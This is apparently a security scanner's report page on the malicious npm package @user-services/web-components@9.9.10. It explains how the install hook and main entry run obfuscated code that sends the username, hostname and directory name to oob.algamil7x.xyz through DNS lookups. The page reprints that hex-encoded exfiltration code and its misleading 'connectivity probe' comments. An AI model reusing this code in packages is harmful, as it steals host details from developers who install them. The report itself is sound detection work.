Loading npm security reports…

@user-services/web-components@9.9.10: Malicious npm security | LPM Firewall

registry / @user-services/web-components / 9.9.10

@user-services/web-components@9.9.10

Web components and SSO helpers for user-services surfaces

AI Security Review

scanned 16d ago · by lpm-firewall-ai

Install and import of the package main entry run an obfuscated DNS lookup that embeds the local username, hostname, and directory name in a query to oob.algamil7x.xyz. Comments describe a registry connectivity check, but the encoded destination is an unrelated host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install executes node index.js, and any require of the package main also runs the same bootstrap.

Impact

Host identity and project-directory name are disclosed to the operator of oob.algamil7x.xyz through DNS queries during install or import.

Mechanism

The bootstrap starts telemetry, which loads impl.js. That file collects os.userInfo().username, os.hostname(), and the current directory basename, then calls dns.resolve4 with labels prefixed by uswc and suffixed by oob.algamil7x.xyz.

Attack narrative

On npm install, the install script runs index.js, which calls the runtime bootstrap. That path starts telemetry and loads probe/impl.js. The probe immediately reads the username, hostname, and current directory name, hex-decodes os, dns, and resolve4, and issues a DNS A lookup whose labels carry those values to oob.algamil7x.xyz. Importing the package repeats the same lookup. Errors are swallowed so install still succeeds.

AI rationale

The install hook and package entry load obfuscated code that DNS-exfiltrates host and directory identity to oob.algamil7x.xyz. The web-component exports do not account for that hidden lookup or its unrelated destination.

Evidence

package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.jsruntime/support/telemetry/probe/index.jsruntime/support/telemetry/probe/impl.js

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"install": "node index.js"

High

Suspicious Lifecycle Evidence

npm install runs node index.js through the install lifecycle script.

package.jsonView on unpkg · L8

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./b8d6e3.js');const cfg=require('./c9e7f4.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

High

Ai Review Evidence

impl.js reads the username, hostname, and current directory name, then calls dns.resolve4 on a joined label string.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

Loading the package entry immediately calls the runtime bootstrap and hides errors.

index.jsView on unpkg · L7

runtime/index.jsView file

17try { support.initialize(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

Bootstrap starts telemetry, which loads the probe module and therefore impl.js.

runtime/index.jsView on unpkg · L17

runtime/support/telemetry/index.jsView file

9try { probe.run(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

Bootstrap starts telemetry, which loads the probe module and therefore impl.js.

runtime/support/telemetry/index.jsView on unpkg · L9

runtime/support/telemetry/probe/index.jsView file

5var impl = require('./impl');

High

Ai Review Evidence

Bootstrap starts telemetry, which loads the probe module and therefore impl.js.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

runtime/support/telemetry/probe/b8d6e3.jsView file

2module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));

High

Ai Review Evidence

Obfuscated helpers load the os and dns modules through module.constructor._load and sanitize values to short alphanumeric labels.

runtime/support/telemetry/probe/b8d6e3.jsView on unpkg · L2

runtime/support/telemetry/probe/c9e7f4.jsView file

2const _0xa1b2=[0x2e];const _0xb2c3=[0x75,0x73,0x77,0x63];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

High

Ai Review Evidence

Decoded constants set the query prefix uswc and the recipient domain oob.algamil7x.xyz.

runtime/support/telemetry/probe/c9e7f4.jsView on unpkg · L2

Source & flagged code

10 flagged

package.jsonView file

Lines 1-20json

1{

2 "name": "@user-services/web-components",

3 "version": "9.9.10",

4 "description": "Web components and SSO helpers for user-services surfaces",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

High

Suspicious Lifecycle Evidence

npm install runs node index.js through the install lifecycle script.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

12 "keywords": ["web-components", "sso", "oidc", "custom-elements", "user-services", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/user-services/web-components.git" },

15 "homepage": "https://github.com/user-services/web-components#readme",

16 "bugs": { "url": "https://github.com/user-services/web-components/issues" },

17 "author": "User Services Platform <eng@user-services.dev>",

18 "license": "MIT"

19}

20

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./b8d6e3.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @user-services/web-components — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

runtime/index.jsView file

Lines 1-23javascript

1'use strict';

2/**

3 * @user-services/web-components — runtime bootstrap

4 *

5 * Initializes the execution environment and wires the support services:

6 * ✅ environment detection (node / browser / edge workers)

7 * ✅ configuration presets per environment

8 * ✅ support telemetry handshake (best-effort, never fatal)

9 * ✅ graceful degradation when optional probes fail

10 */

runtime/support/telemetry/index.jsView file

Lines 1-12javascript

1'use strict';

2/**

3 * Telemetry pipeline for @user-services/web-components.

4 * The probe stage emits a lightweight connectivity probe so operators

5 * can confirm build agents resolve registry endpoints correctly.

6 */

7var probe = require('./probe');

8function

runtime/support/telemetry/probe/index.jsView file

Lines 1-8javascript

1'use strict';

2/**

3 * Connectivity probe runner.

4 */

5var impl = require('./impl');

High

Ai Review Evidence

Bootstrap starts telemetry, which loads the probe module and therefore impl.js.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

6function

runtime/support/telemetry/probe/b8d6e3.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/c9e7f4.jsView file

2const _0xa1b2=[0x2e];const _0xb2c3=[0x75,0x73,0x77,0x63];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

High

Ai Review Evidence

Decoded constants set the query prefix uswc and the recipient domain oob.algamil7x.xyz.

runtime/support/telemetry/probe/c9e7f4.jsView on unpkg · L2